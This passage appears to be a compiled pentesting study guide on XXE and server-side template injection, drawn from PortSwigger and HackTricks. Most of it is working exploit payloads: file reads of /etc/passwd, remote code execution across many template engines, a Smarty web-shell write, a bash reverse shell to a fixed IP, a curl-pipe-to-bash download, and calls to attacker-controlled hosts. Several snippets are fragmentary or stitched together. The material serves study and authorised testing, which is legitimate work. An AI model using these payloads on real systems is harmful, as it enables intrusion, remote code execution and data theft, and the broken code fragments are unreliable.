Then you might be able submit the following request, with the same result:
Content-Type: text/xml
Content-Length: 52
If the application tolerates requests containing XML in the message body, and
parses the body content as XML, then you can reach the hidden XXE attack
surface simply by reformatting requests to use the XML format.
The vast majority of XXE vulnerabilities can be found quickly and reliably using
Burp Suite's web vulnerability scanner.
https://portswigger.net/web-security/xxe
XML Entity 101
General Entity
Internal Entity
Example
<?xml version="1.0" standalone="yes" ?><!DOCTYPE user
[<!ENTITY name "si tampan">]><user>&name;</user>
External Entity
Example
<?xml version="1.0" standalone="yes" ?><!DOCTYPE text
[<!ENTITY word SYSTEM "file://text.txt">]><text>&word;</text>
The XML above is the same as the following PHP code :
$word = file_get_contents("file://text.txt");
echo $word;
Parameter Entity
For example, there is an external DTD with the name data.xml, its
contents:
<!ENTITY email "[email protected]"><!ENTITY name "si
tampan">
Example
<?xml version="1.0" standalone="yes" ?><!DOCTYPE user [
<!ENTITY % ext-dtd SYSTEM "data.xml">
%ext-dtd;
]>
<user>&name; &email;</user>
Example
<?xml version="1.0" standalone="yes" ?><!DOCTYPE user
[<!ENTITY email "[email protected]"><!ENTITY name "si
tampan &email;">]><user>&name;</user>
Simply put, the XXE attack occurs because the XML Parser
allows the use of External Entities, simple as that !!.
1. SSRF
3. XSS/CSRF
5. RCE
Lab Setup
Payload :
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY
file SYSTEM
"file:///etc/passwd">]><root><name>test</name><tel>082</tel><
email>&file;</email><password>pwd</password></root>
Payload Verification :
<!DOCTYPE root [<!ENTITY % test SYSTEM
"http://attacker.server:2121">%test;]><?xml version="1.0"
encoding="UTF-8"?><!DOCTYPE root [<!ENTITY % test SYSTEM
"http://attacker.server:2121">%test;]><root><name>test</name>
<tel>021212</tel><email>test</email><password>pwd</password><
/root>
If you got a response from the target server, it means that you
can be sure that target is vulnerable to Blind XXE.
OOB XXE
The payload above, the file uses a base64 PHP wrapper, the goal
is to avoid whitespace characters (\s, \t,\n) in the data you want
to exfiltrate because the libxml of PHP the url cannot contain
whitespace characters.
How the payload above works as follows :
TBA.
Conclusion
XXE attack occurs because the XML Parser allows the use
of External Entity. XXE is a security bug that occurs in a specific
technology, namely XML, if you still don’t understand XXE, it’s
due to a lack of knowledge of XML itself.
Update
Reference :
• https://www.w3schools.com/xml/xml_dtd_intro.asp
• https://xmlwriter.net/xml_guide/entity_declaration.s
html
• https://gist.github.com/staaldraad/01415b990939494
879b4
• https://www.xml.com/pub/a/98/08/xmlqna2.html htt
ps://www.liquid
• technologies.com/DTD/Structure/ENTITY.aspx
• https://www.acunetix.com/blog/articles/band-xml-
external-entity-oob-xxe/
• https://gardienvirtuel.ca/fr/actualites/from-xml-to-
rce.php
https://infosecwriteups.com/exploiting-xml-external-entity-xxe-injection-vulnerability-
f8c4094fef83
https://gosecure.github.io/xxe-workshop/#0
https://github.com/payloadbox/xxe-injection-payload-list
In this section, we'll discuss what server-side template injection is and outline
the basic methodology for exploiting server-side template injection
vulnerabilities. We'll also suggest ways of making sure that your own use of
templates doesn't expose you to server-side template injection.
At the severe end of the scale, an attacker can potentially achieve remote code
execution, taking full control of the back-end server and using it to perform other
attacks on internal infrastructure.
Even in cases where full remote code execution is not possible, an attacker can
often still use server-side template injection as the basis for numerous other
attacks, potentially gaining read access to sensitive data and arbitrary files on
the server.
Static templates that simply provide placeholders into which dynamic content is
rendered are generally not vulnerable to server-side template injection. The
classic example is an email that greets each user by their name, such as the
following extract from a Twig template:
This is not vulnerable to server-side template injection because the user's first
name is merely passed into the template as data.
In this example, instead of a static value being passed into the template, part of
the template itself is being dynamically generated using
the GET parameter name. As template syntax is evaluated server-side, this
potentially allows an attacker to place a server-side template injection payload
inside the name parameter as follows:
http://vulnerable-website.com/?name={{bad-stuff-here}}
Vulnerabilities like this are sometimes caused by accident due to poor template
design by people unfamiliar with the security implications. Like in the example
above, you may see different components, some of which contain user input,
concatenated and embedded into a template. In some ways, this is similar
to SQL injection vulnerabilities occurring in poorly written prepared statements.
Detect
As with any vulnerability, the first step towards exploitation is being able to find
it. Perhaps the simplest initial approach is to try fuzzing the template by injecting
a sequence of special characters commonly used in template expressions, such
as ${{<%[%'"}}%\. If an exception is raised, this indicates that the injected
template syntax is potentially being interpreted by the server in some way. This
is one sign that a vulnerability to server-side template injection may exist.
Plaintext context
Most template languages allow you to freely input content either by using HTML
tags directly or by using the template's native syntax, which will be rendered to
HTML on the back-end before the HTTP response is sent. For example, in
Freemarker, the line render('Hello ' + username) would render to
something like Hello Carlos.
This can sometimes be exploited for XSS and is in fact often mistaken for a
simple XSS vulnerability. However, by setting mathematical operations as the
value of the parameter, we can test whether this is also a potential entry point
for a server-side template injection attack.
For example, consider a template that contains the following vulnerable code:
http://vulnerable-website.com/?username=${7*7}
If the resulting output contains Hello 49, this shows that the mathematical
operation is being evaluated server-side. This is a good proof of concept for a
server-side template injection vulnerability.
Note that the specific syntax required to successfully evaluate the mathematical
operation will vary depending on which template engine is being used. We'll
discuss this in more detail in the Identify step.
Code context
In other cases, the vulnerability is exposed by user input being placed within a
template expression, as we saw earlier with our email example. This may take
the form of a user-controllable variable name being placed inside a parameter,
such as:
greeting = getQueryParameter('greeting')
engine.render("Hello {{"+greeting+"}}", data)
http://vulnerable-website.com/?greeting=data.username
http://vulnerable-
website.com/?greeting=data.username<tag>
In the absence of XSS, this will usually either result in a blank entry in the
output (just Hello with no username), encoded tags, or an error message. The
next step is to try and break out of the statement using common templating
syntax and attempt to inject arbitrary HTML after it:
http://vulnerable-
website.com/?greeting=data.username}}<tag>
If this again results in an error or blank output, you have either used syntax from
the wrong templating language or, if no template-style syntax appears to be
valid, server-side template injection is not possible. Alternatively, if the output is
rendered correctly, along with the arbitrary HTML, this is a key indication that a
server-side template injection vulnerability is present:
Hello Carlos<tag>
Identify
Once you have detected the template injection potential, the next step is to
identify the template engine.
Although there are a huge number of templating languages, many of them use
very similar syntax that is specifically chosen not to clash with HTML
characters. As a result, it can be relatively simple to create probing payloads to
test which template engine is being used.
Simply submitting invalid syntax is often enough because the resulting error
message will tell you exactly what the template engine is, and sometimes even
which version. For example, the invalid expression <%=foobar%> triggers the
following response from the Ruby-based ERB engine:
You should be aware that the same payload can sometimes return a successful
response in more than one template language. For example, the
payload {{7*'7'}} returns 49 in Twig and 7777777 in Jinja2. Therefore, it is
important not to jump to conclusions based on a single successful response.
Exploit
https://portswigger.net/web-security/server-side-template-injection/exploiting
In the previous example part of the template itself is being dynamically generated using the
GET parameter name. As template syntax is evaluated server-side, this potentially allows an
attacker to place a server-side template injection payload inside the name parameter as
follows:
http://vulnerable-website.com/?name={{bad-stuff-here}}
Detect
As with any vulnerability, the first step towards exploitation is being able to find it. Perhaps the
simplest initial approach is to try fuzzing the template by injecting a sequence of special
characters commonly used in template expressions, such as the polyglot ${{<%[%'"}}%\. In
order to check if the server is vulnerable you should spot the differences between the
response with regular data on the parameter and the given payload. If an error is thrown it
will be quiet easy to figure out that the server is vulnerable and even which engine is running.
But you could also find a vulnerable server if you were expecting it to reflect the given payload
and it is not being reflected or if there are some missing chars in the response.
The given input is being rendered and reflected into the response. This is easily mistaken for a
simple XSS vulnerability, but it's easy to differentiate if you try to set mathematical operations
within a template expression:
{{7*7}}
${7*7}
${{7*7}}
#{7*7}
*{7*7}
In these cases the user input is being placed within a template expression:
If you change the greeting parameter for a different value the response won't contain the
username, but if you access something like: http://vulnerable-
website.com/?greeting=data.username}}hello then, the response will contain the
username (if the closing template expression chars were }}). If an error is thrown during these
test, it will be easier to find that the server is vulnerable.
Identify
Once you have detected the template injection potential, the next step is to identify the
template engine. Although there are a huge number of templating languages, many of them
use very similar syntax that is specifically chosen not to clash with HTML characters.
If you are lucky the server will be printing the errors and you will be able to find the engine
used inside the errors. Some possible payloads that may cause errors:
${7*7} {{7*7}} ``
Otherwise, you'll need to manually test different language-specific payloads and study how
they are interpreted by the template engine. A common way of doing this is to inject arbitrary
mathematical operations using syntax from different template engines. You can then observe
whether they are successfully evaluated. To help with this process, you can use a decision tree
similar to the following:
Exploit
Read
The first step after finding template injection and identifying the template engine is to read the
documentation. Key areas of interest are:
Explore
Assuming no exploits have presented themselves, the next step is to explore the environment
to find out exactly what you have access to. You can expect to find both default objects
provided by the template engine, and application-specific objects passed in to the template by
the developer. Many template systems expose a 'self' or namespace object containing
everything in scope, and an idiomatic way to list an object's attributes and methods.
If there's no builtin self object you're going to have to bruteforce variable names using SecLists
and Burp Intruder's wordlist collection.
Developer-supplied objects are particularly likely to contain sensitive information, and may
vary between different templates within an application, so this process should ideally be
applied to every distinct template individually.
Attack
At this point you should have a firm idea of the attack surface available to you and be able to
proceed with traditional security audit techniques, reviewing each function for exploitable
vulnerabilities. It's important to approach this in the context of the wider application - some
functions can be used to exploit application-specific features. The examples to follow will use
template injection to trigger arbitrary object creation, arbitrary file read/write, remote file
include, information disclosure and privilege escalation vulnerabilities.
Tools
Tplmap
python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u
"http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u
"http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade
Exploits
Generic
In this wordlist you can find variables defined in the environments of some of the engines
mentioned below:
• https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-
engines-special-vars.txt
Java
Java - Basic injection
${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.la
ng.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Chara
cter).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).t
oString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString
(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).c
oncat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(
T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java
.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())
}
FreeMarker (Java)
You can try your payloads at https://try.freemarker.apache.org
• {{7*7}} = {{7*7}}
• ${7*7} = 49
• #{7*7} = 49 -- (legacy)
• ${7*'7'} Nothing
• ${foobar}
${"freemarker.template.utility.Execute"?new()("id")}
${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/h
ome/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}
<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}
More information
Velocity (Java)
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
More information
• In Velocity section of https://portswigger.net/research/server-side-template-
injection
• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Si
de%20Template%20Injection#velocity
Thymeleaf (Java)
The typical test expression for SSTI is ${7*7}. This expression works in Thymeleaf, too. If you
want to achieve remote code execution, you can use one of the following test expressions:
• SpringEL: ${T(java.lang.Runtime).getRuntime().exec('calc')}
• OGNL: ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
Chances that the above detection payload would work are, however, very low. SSTI
vulnerabilities usually happen when a template is dynamically generated in the code.
Thymeleaf, by default, doesn’t allow such dynamically generated templates and all templates
must be created earlier. Therefore, if a developer wants to create a template from a string on
the fly, they would need to create their own TemplateResolver. This is possible but happens
very rarely.
If we take a deeper look into the documentation of the Thymeleaf template engine, we will
find an interesting feature called expression preprocessing. Expressions placed between
double underscores (__...__) are preprocessed and the result of the preprocessing is used as
part of the expression during regular processing. Here is an official example from Thymeleaf
documentation:
#{selection.__${sel.code}__}
Vulnerable example
http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
More information
• https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/
EL - Expression Language
Spring Framework (Java)
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getI
nputStream())}
Bypass filters
Multiple variable expressions can be used, if ${...} doesn't work try #{...}, *{...},
@{...} or ~{...}.
• Read /etc/passwd
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.la
ng.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Chara
cter).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).t
oString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString
(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).c
oncat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(
T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java
.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())
}
#!/usr/bin/python3
cmd = list(argv[1].strip())
base_payload =
'*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'
count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1
print(base_payload + end_payload)
More Information
• Thymleaf SSTI
• Payloads all the things
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
• https://github.com/veracode-research/spring-view-manipulation
EL - Expression Language
Pebble (Java)
• {{ someString.toUPPERCASE() }}
{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}
Jinjava (Java)
{{'a'.toUpperCase()}} would result in 'A'
Fixed by https://github.com/HubSpot/jinjava/pull/230
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('
JavaScript').eval(\"new java.lang.String('xxx')\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('
JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\");
x.start()\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('
JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\");
org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('
JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\");
org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
More information
• https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20S
ide%20Template%20Injection/README.md#jinjava
• {% %} statement delimiters
• {{ }} expression delimiters
• {# #} comment delimiters
• {{ request }} -
com.hubspot.content.hubl.context.TemplateContextRequest@23548206
• {{'a'.toUpperCase()}} - "A"
• {{'a'.concat('b')}} - "ab"
• {{'a'.getClass()}} - java.lang.String
• {{request.getClass()}} - class
com.hubspot.content.hubl.context.TemplateContextRequest
• {{request.getClass().getDeclaredMethods()[0]}} - public boolean
com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()
//output: False
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797
//It was also possible to call methods on the created object by combining the
{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter()
%}
{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and
obtained reference to the newInterpreter method. In the next block, I called the render
method on 'ji' with expression {{1*2}}.
//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByNam
e('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx
//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('
JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\");
x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('
JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\");
org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
Payload:
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('
JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\");
org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018
x86_64 x86_64 x86_64 GNU/Linux
More information
• https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-
hubl.html
• ${"aaaa"} - "aaaa"
• ${99999+1} - 100000.
• #{7*7} - 49
• ${{7*7}} - 49
• ${{request}}, ${{session}}, {{faceContext}}
EL provides an important mechanism for enabling the presentation layer (web pages) to
communicate with the application logic (managed beans). The EL is used by several JavaEE
technologies, such as JavaServer Faces technology, JavaServer Pages (JSP) technology, and
Contexts and Dependency Injection for Java EE (CDI). Check the following page to learn more
about the exploitation of EL interpreters:
EL - Expression Language
Groovy (Java)
This Security Manager bypass was taken from this writeup.
//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
})
def x
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x
//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert
java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new
String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2Y
Wx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZ
WYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110,
115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123,
97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116,
105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99,
40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
RootedCON is the most relevant cybersecurity event in Spain and one of the most important in
Europe. With the mission of promoting technical knowledge, this congress is a boiling
meeting point for technology and cybersecurity professionals in every discipline.
RootedCON
RootedCON
Smarty (PHP)
{$smarty.version}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']);
?>",self::clearConfig())}
{system('ls')} // compatible v3
More information
Twig (PHP)
• {{7*7}} = 49
• ${7*7} = ${7*7}
• {{7*'7'}} = 49
• {{1/0}} = Error
• {{foobar}} Nothing
#Get Info
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}
#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@
#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -
a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
Twig - Template format
'Dear' . $_GET['custom_greeting'],
);
"Dear {first_name}",
);
More information
Jade (NodeJS)
- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}
More information
Handlebars (NodeJS)
Path Traversal (more info here).
• = Error
• ${7*7} = ${7*7}
• Nothing
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.pop}}
{{this.pop}}
{{this.pop}}
{{#each conslist}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
%7b%7b%23%77%69%74%68%20%22%73%22%20%61%73%20%7c%73%74%72%69%6e%67
%7c%7d%7d%0d%0a%20%20%7b%7b%23%77%69%74%68%20%22%65%22%7d%7d%0d%0a
%20%20%20%20%7b%7b%23%77%69%74%68%20%73%70%6c%69%74%20%61%73%20%7c%
63%6f%6e%73%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%6
8%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%74%68%69%73
%2e%70%75%73%68%20%28%6c%6f%6f%6b%75%70%20%73%74%72%69%6e%67%2e%73%
75%62%20%22%63%6f%6e%73%74%72%75%63%74%6f%72%22%29%7d%7d%0d%0a%20%2
0%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20
%20%20%7b%7b%23%77%69%74%68%20%73%74%72%69%6e%67%2e%73%70%6c%69%74
%20%61%73%20%7c%63%6f%64%65%6c%69%73%74%7c%7d%7d%0d%0a%20%20%20%20%
20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20%20%20%2
0%20%20%20%7b%7b%74%68%69%73%2e%70%75%73%68%20%22%72%65%74%75%72%6e
%20%72%65%71%75%69%72%65%28%27%63%68%69%6c%64%5f%70%72%6f%63%65%73%
73%27%29%2e%65%78%65%63%28%27%72%6d%20%2f%68%6f%6d%65%2f%63%61%72%6c
%6f%73%2f%6d%6f%72%61%6c%65%2e%74%78%74%27%29%3b%22%7d%7d%0d%0a%20%2
0%20%20%20%20%20%20%7b%7b%74%68%69%73%2e%70%6f%70%7d%7d%0d%0a%20%20
%20%20%20%20%20%20%7b%7b%23%65%61%63%68%20%63%6f%6e%73%6c%69%73%74%
7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b%23%77%69%74%68%20%2
8%73%74%72%69%6e%67%2e%73%75%62%2e%61%70%70%6c%79%20%30%20%63%6f%64
%65%6c%69%73%74%29%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%20%20
%7b%7b%74%68%69%73%7d%7d%0d%0a%20%20%20%20%20%20%20%20%20%20%7b%7b
%2f%77%69%74%68%7d%7d%0d%0a%20%20%20%20%20%20%20%20%7b%7b%2f%65%61%
63%68%7d%7d%0d%0a%20%20%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0
a%20%20%20%20%7b%7b%2f%77%69%74%68%7d%7d%0d%0a%20%20%7b%7b%2f%77%69
%74%68%7d%7d%0d%0a%7b%7b%2f%77%69%74%68%7d%7d
More information
• http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-
rce.html
JsRender (NodeJS)
Template Description
Comment
• = 49
Client Side
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
Server Side
{{:"pwnd".toString.constructor.call({},"return
global.process.mainModule.constructor._load('child_process').execSync('cat
/etc/passwd').toString()")()}}
More information
• https://appcheck-ng.com/template-injection-jsrender-jsviews/
PugJs (NodeJS)
• #{7*7} = 49
• #{function(){localLoad=global.process.mainModule.constructor._lo
ad;sh=localLoad("child_process").exec('touch
/tmp/pwned.txt')}()}
• #{function(){localLoad=global.process.mainModule.constructor._lo
ad;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh
| bash')}()}
home = pugjs.render(injected_page)
More information
• https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-
sandbox/
NUNJUCKS (NodeJS)
• {{7*7}} = 49
• {{foo}} = No output
• #{7*7} = #{7*7}
• {{console.log(1)}} = Error
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail
/etc/passwd')")()}}
{{range.constructor("return
global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >&
/dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
More information
• http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-
template-engine
ERB (Ruby)
• {{7*7}} = {{7*7}}
• ${7*7} = ${7*7}
• <%= 7*7 %> = 49
• <%= foobar %> = Error
More information
• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Si
de%20Template%20Injection#ruby
Slim (Ruby)
• { 7 * 7 }
{ %x|env| }
More information
• https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Si
de%20Template%20Injection#ruby
Python
Check out the following page to learn tricks about arbitrary command execution bypassing
sandboxes in python:
Tornado (Python)
• {{7*7}} = 49
• ${7*7} = ${7*7}
• {{foobar}} = Error
• {{7*'7'}} = 7777777
{% import os %}
{% import os %}
{{os.system('whoami')}}
{{os.system('whoami')}}
More information
Jinja2 (Python)
Official website
Jinja2 is a full featured template engine for Python. It has full unicode support, an optional
integrated sandboxed execution environment, widely used and BSD licensed.
• {{7*7}} = Error
• ${7*7} = ${7*7}
• {{foobar}} Nothing
• {{4*4}}[[5*5]]
• {{7*'7'}} = 7777777
• {{config}}
• {{config.items()}}
• {{settings.SECRET_KEY}}
• {{settings}}
• <div data-gb-custom-block data-tag="debug"></div>
{% debug %}
{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{% extends "layout.html" %}
{% block body %}
<ul>
{% endfor %}
</ul>
{% endblock %}
Jinja2 SSTI
Mako (Python)
<%
import os
x=os.popen('id').read()
%>
${x}
Razor (.Net)
More information
• https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-
(SSTI)-in-ASP.NET-Razor/
• https://www.schtech.co.uk/razor-pages-ssti-rce/
ASP
More Information
• https://www.w3schools.com/asp/asp_examples.asp
Mojolicious (Perl)
Even if it's perl it uses tags like ERB in Ruby.
SSTI in GO
The way to confirm that the template engine used in the backed is Go you can use these
payloads:
XSS exploitation
If the server is using the text/template package, XSS is very easy to achieve by simply
providing your payload as input. However, that is not the case with html/template as
itHTMLencodes the response: {{"<script>alert(1)</script>"}} -->
<script>alert(1)</script>
However, Go allows to DEFINE a whole template and then later call it. The payload will be
something like: {{define "T1"}}<script>alert(1)</script>{{end}} {{template
"T1"}}
RCE Exploitation
The documentation for both the html/template module can be found here, and the
documentation for the text/template module can be found here, and yes, they do vary, a lot.
For example, in text/template, you can directly call any public function with the “call” value,
this however, is not the case with html/template.
If you want to find a RCE in go via SSTI, you should know that as you can access the given
object to the template with {{ . }}, you can also call the objects methods. So, imagine that
the passed object has a method called System that executes the given command, you could
abuse it with: {{ .System "ls" }} Therefore, you will probably need the source code. A
potential source code for something like that will look like:
out, _ := exec.Command(test).CombinedOutput()
return string(out)
More information
• https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html
• https://www.onsecurity.io/blog/go-ssti-method-research/
More Exploits
Check the rest of
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Templ
ate%20Injection for more exploits. Also you can find interesting tags information in
https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection
SSTI Apache Freemark
Scenario
We were tasked with the testing of a Content Management System
(CMS) application used by the client to publish contents in their
website. For this assessment, we only had access to a low-
privileged user in the CMS, so a big part of the test was getting
higher privileges and assuring whether we could access data we
were not supposed to.
TemplateClassResolver
It turns out Freemarker offers to register
a TemplateClassResolver in its configuration in order to limit
